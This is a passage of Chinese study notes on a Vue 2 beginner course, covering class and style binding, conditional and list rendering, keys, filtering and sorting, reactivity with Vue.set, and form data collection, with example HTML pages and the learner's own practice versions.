			<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
	
</html>

在这里插入图片描述

Season实践

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<!-- 准备好一个容器-->
		<div id="root">

			<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
			<div class="basic" v-bind:class="mood" v-on:click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr" @click="changeArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObject" @click="changeObject">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div> <br/><br/>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				mood:'happy',
				classArr:['atguigu1','atguigu2','atguigu3'],
				x:true,
				classObject:{
					'atguigu1':true,
					'atguigu2':true,
					'atguigu3':true,
				},
				styleObj:{
					fontSize: '40px',
					color: 'red',
				},
				styleArr:[
					{
						backgroundColor: 'yellowgreen',
					},
					{
						fontSize: '100px',
						color: 'blue',
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['sad','happy','normal',]
					const index = Math.floor(Math.random()*3)
					console.log(index)
					this.mood = arr[index]
				},
				changeArr(){
					console.log(this.classArr)
					this.classArr.push('sad')
				},
				changeObject(){
					console.log(this.classObject)
					this.x = !this.x
					this.classObject.atguigu1 = this.x
					this.classObject.atguigu2 = this.x
					this.classObject.atguigu3 = this.x
					console.log('xxxx',this.x)
				}


			},
		})
	</script>
	
</html>

028_尚硅谷Vue技术_条件渲染

Season总结:

			条件渲染:
						1.v-if
									写法:
											(1).v-if="表达式" 
											(2).v-else-if="表达式"
											(3).v-else="表达式"
									适用于:切换频率较低的场景。
									特点:不展示的DOM元素直接被移除。
									注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

						2.v-show
									写法:v-show="表达式"
									适用于:切换频率较高的场景。
									特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
							
						3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

课程:

  • 条件渲染.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				条件渲染:
							1.v-if
										写法:
												(1).v-if="表达式" 
												(2).v-else-if="表达式"
												(3).v-else="表达式"
										适用于:切换频率较低的场景。
										特点:不展示的DOM元素直接被移除。
										注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

							2.v-show
										写法:v-show="表达式"
										适用于:切换频率较高的场景。
										特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
								
							3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:0
			}
		})
	</script>
</html>

029_尚硅谷Vue技术_列表渲染

Season总结

			v-for指令:
					1.用于展示列表数据
					2.语法:v-for="(item, index) in xxx" :key="yyy"
					3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-for指令:
						1.用于展示列表数据
						2.语法:v-for="(item, index) in xxx" :key="yyy"
						3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息(遍历对象)</h2>
			<ul>
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串(用得少)</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数(用得少)</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>

在这里插入图片描述

030_尚硅谷Vue技术_key作用与原理

Season总结

			面试题:react、vue中的key有什么作用?(key的内部原理)
					
					1. 虚拟DOM中key的作用:
									key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
									随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
									
					2.对比规则:
								(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
											①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
											②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

								(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
											创建新的真实DOM,随后渲染到到页面。
											
					3. 用index作为key可能会引发的问题:
										1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
														会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

										2. 如果结构中还包含输入类的DOM:
														会产生错误DOM更新 ==> 界面有问题。

					4. 开发中如何选择key?:
										1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
										2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
											使用index作为key是没有问题的。
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>

课程(老师引出了index作为key的问题,用id作为key就没有问题)

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				面试题:react、vue中的key有什么作用?(key的内部原理)
						
						1. 虚拟DOM中key的作用:
										key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM, 
										随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
										
						2.对比规则:
									(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
												①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
												②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM

									(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
												创建新的真实DOM,随后渲染到到页面。
												
						3. 用index作为key可能会引发的问题:
											1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
															会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

											2. 如果结构中还包含输入类的DOM:
															会产生错误DOM更新 ==> 界面有问题。

						4. 开发中如何选择key?:
											1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
											2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
												使用index作为key是没有问题的。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>
</html>

Season实践

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add()">增加一个老刘</button>
			<ul>
				<li v-for="(p,index) in persons" :key="p.id">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>

		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:'18'},
						{id:'002',name:'李四',age:'19'},
						{id:'003',name:'王五',age:'20'},
					]
				},
				methods: {
					add(){
						const liu = {id:'004',name:'老刘',age:'21'}
						this.persons.unshift(liu)
					}
				},
			})
		</script>
</html>

在这里插入图片描述

031_尚硅谷Vue技术_列表过滤

Season总结

关键点1在于理解filter,js中filter过滤用法总结
关键点2在于理解indexOf,js的indexOf方法
关键点3在于理解watch的immediate属性,不等你输入直接调用一次watch。

方法1:用watch实现

方法2:用computed实现

				computed:{
					selectedPersons(){
						a = this.persons.filter((p, i, arr)=>{
								return p.name.indexOf(this.keyWord) !== -1
							}
						)
						return a
					}	
				}

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表过滤</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="index">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			//用watch实现
			//#region 
			/* new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					],
					filPerons:[]
				},
				watch:{
					keyWord:{
						immediate:true,
						handler(val){
							this.filPerons = this.persons.filter((p)=>{
								return p.name.indexOf(val) !== -1
							})
						}
					}
				}
			}) */
			//#endregion
			
			//用computed实现
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
					}
				}
			}) 
		</script>
</html>

在这里插入图片描述

032_尚硅谷Vue技术_列表排序

Season总结

关键点1在于列表排序sort https://blog.csdn.net/m0_37885651/article/details/80016718
关键点2在于三元表达式 https://blog.csdn.net/liu_jiachen/article/details/73251172
关键点3在于arr1.sort()里面要使用箭头函数,才能取到vm。


						if(this.sortType){
							arr1.sort((p1,p2)=>{
								console.log('@@@@@',this)
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表排序</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<button @click="sortType = 2">年龄升序</button>
			<button @click="sortType = 1">年龄降序</button>
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					sortType:0, //0原顺序 1降序 2升序
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
						//判断一下是否需要排序
						if(this.sortType){
							arr.sort((p1,p2)=>{
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr
					}
				}
			}) 

		</script>
</html>

033_尚硅谷Vue技术_更新时的一个问题

Season总结

不是每一种方法更新数据都能奏效。
关键点在于splice插入功能:splice(index,0,插入的项)

				methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})  //奏效
					}
				}

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
					}
				}
			}) 

		</script>
</html>

034_尚硅谷Vue技术_Vue监测数据的原理_对象

Season总结

vue管理的data都有get()和set()

035_尚硅谷Vue技术_Vue.set()方法

Season总结

1.关键点在于vue.set()。https://blog.csdn.net/qq_37339364/article/details/82750947
对于响应式sex属性,由于一开始没有想要写sex属性,后来用户想要增加sex属性,这时候需要用到set()方法。
总结,只要是在data之外,想给data中定义的数组或者对象,添加或删除元素,就用Vue.set
2. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)

			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}

在这里插入图片描述

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

在这里插入图片描述

036_尚硅谷Vue技术_Vue监测数据的原理_数组

Season总结

关键点1:数据中的数组没有get和set,故vue无法监测到数据更新。
关键点2:必须调用数组自身修改的方法,Vue才可以监测到数组变化(详见官网)。
在这里插入图片描述

在这里插入图片描述
关键点3:vm.$ set() 约等于 Vue.set()

课程

在这里插入图片描述
9.Vue监测数据改变的原理_数组.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

037_尚硅谷Vue技术_总结Vue监视数据

Season总结

		Vue监视数据的原理:
			1. vue会监视data中所有层次的数据。

			2. 如何监测对象中的数据?
							通过setter实现监视,且要在new Vue时就传入要监测的数据。
								(1).对象中后追加的属性,Vue默认不做响应式处理
								(2).如需给后添加的属性做响应式,请使用如下API:
												Vue.set(target,propertyName/index,value) 或 
												vm.$set(target,propertyName/index,value)

			3. 如何监测数组中的数据?push()、pop()、shift()、unshift()、splice()、sort()、reverse()
								通过包裹数组更新元素的方法实现,本质就是做了两件事:
									(1).调用原生对应的方法对数组进行更新。
									(2).重新解析模板,进而更新页面。

			4.在Vue修改数组中的某个元素一定要用如下方法:
						1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
						2.Vue.set() 或 vm.$set()
			
			特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

课程

10.总结Vue数据监测.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理:
				1. vue会监视data中所有层次的数据。

				2. 如何监测对象中的数据?
								通过setter实现监视,且要在new Vue时就传入要监测的数据。
									(1).对象中后追加的属性,Vue默认不做响应式处理
									(2).如需给后添加的属性做响应式,请使用如下API:
													Vue.set(target,propertyName/index,value) 或 
													vm.$set(target,propertyName/index,value)

				3. 如何监测数组中的数据?
									通过包裹数组更新元素的方法实现,本质就是做了两件事:
										(1).调用原生对应的方法对数组进行更新。
										(2).重新解析模板,进而更新页面。

				4.在Vue修改数组中的某个元素一定要用如下方法:
							1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
							2.Vue.set() 或 vm.$set()
				
				特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1</button> <br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

Season实践

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1</button> <br/>
			<button @click="setMale">添加性别属性,默认值:男</button> <br/>
			<button @click="chageSex">修改性别</button> <br/>
			<button @click.once="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="chageName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="changeHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="deleteSex">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				setMale(){
					console.log('setMale',this)
					this.$set(this.student,'sex','男')
				},
				chageSex(){
					console.log('chageSex',this)
					this.student.sex = '默认'
				},
				addFriend(){
					console.log('addFriend',this)
					this.student.friends.unshift({name:'张3',age:99})
				},
				chageName(){
					console.log('chageName',this)
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					console.log('addHobby',this)
					this.student.hobby.push('打游戏')
				},
				changeHobby(){
					console.log('changeHobby',this)
					this.$set(this.student.hobby,0,'开车')
				},
				deleteSex(){
					this.student.hobby = this.student.hobby.filter((p,i,arr)=>{
								return p.indexOf('抽烟') == -1
								}
							)
				}
			},
			
		})
	</script>
</html>

在这里插入图片描述

038_尚硅谷Vue技术_收集表单数据

Season总结

		收集表单数据:
				若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
				若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
				若:<input type="checkbox"/>
						1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
						2.配置input的value属性:
								(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
								(2)v-model的初始值是数组,那么收集的的就是value组成的数组
				备注:v-model的三个修饰符:
								lazy:失去焦点再收集数据
								number:输入字符串转为有效的数字
								trim:输入首尾空格过滤

prevent你才可以留在原表格不跳转,查看原表格console.log()信息
JSON.stringify()可以转化为json格式,以便Ajax提交。{“account”:“”,“password”:“”,“age”:18,“sex”:“female”,“hobby”:[],“city”:“beijing”,“other”:“”,“agree”:“”}

课程

在这里插入图片描述
收集表单数据.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据:
					若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
					若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
					若:<input type="checkbox"/>
							1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
							2.配置input的value属性:
									(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
									(2)v-model的初始值是数组,那么收集的的就是value组成的数组
					备注:v-model的三个修饰符:
									lazy:失去焦点再收集数据
									number:输入字符串转为有效的数字
									trim:输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
